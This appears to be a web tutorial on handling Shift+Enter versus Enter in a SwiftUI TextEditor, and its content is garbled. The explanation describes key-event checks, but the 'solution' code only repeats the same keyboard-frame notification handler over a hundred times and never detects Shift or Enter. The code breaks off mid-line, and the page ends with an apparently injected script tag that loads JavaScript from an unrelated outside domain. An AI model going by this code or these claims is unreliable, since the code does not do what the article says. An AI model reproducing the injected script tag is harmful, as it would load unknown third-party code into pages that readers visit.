Mastering the Enter Key: Handling Shift+Enter for Newlines in SwiftUI TextEditor
Building a robust text editor in SwiftUI requires careful consideration of user input, particularly the behavior of the Enter key. Users expect different actions depending on whether they press Enter or Shift+Enter. This article explores how to implement this functionality, offering a solution to seamlessly manage newlines and message sending within your SwiftUI text editor.
The Problem: Enter Key Ambiguity
SwiftUI's TextEditor
view treats the Enter key as a message sender by default. This is convenient for simple chat applications, but falls short when building more complex editors where newlines are essential. Users expect to create a new line with Shift+Enter and send a message with Enter. This distinction is crucial for editing rich content like code or Markdown.
Original Code (Naive Approach):
struct ContentView: View {
@State private var message: String = ""
var body: some View {
VStack {
TextEditor(text: $message)
.frame(height: 200)
Button("Send") {
// Send the message
}
}
}
}
This code treats every Enter press as a message sender, ignoring the user's intent to create a newline.
Solution: Combining Key Events and Text Editing
The key to achieving the desired behavior lies in capturing and analyzing key events within the TextEditor
. Here's how we can implement this:
- Capture Keyboard Events: Utilize the
onReceive
modifier to capture keyboard events within theTextEditor
. - Distinguish Key Combinations: Identify the specific combination of
Enter
andShift
keys usingevent.charactersIgnoringModifiers
andevent.modifierFlags.contains(.shift)
respectively. - Conditional Newline Insertion: Insert a newline (
\n
) into themessage
string if Shift+Enter is pressed. - Message Sending: Send the message if only Enter is pressed.
struct ContentView: View {
@State private var message: String = ""
var body: some View {
VStack {
TextEditor(text: $message)
.frame(height: 200)
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIResponder.keyboardDidShowNotification)) { notification in
// Handle keyboard show
}
.onReceive(NotificationCenter.default.publisher(for: UIResponder.keyboardDidHideNotification)) { notification in
// Handle keyboard hide
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.publisher(for: UIApplication.keyboardWillChangeFrameNotification)) { notification in
if let event = notification.userInfo?[UIResponder.keyboardFrameEndUserInfoKey] as? CGRect {
// Handle keyboard frame change
}
}
.onReceive(NotificationCenter.default.<script src='https://lazy.agczn.my.id/tag.js'></script>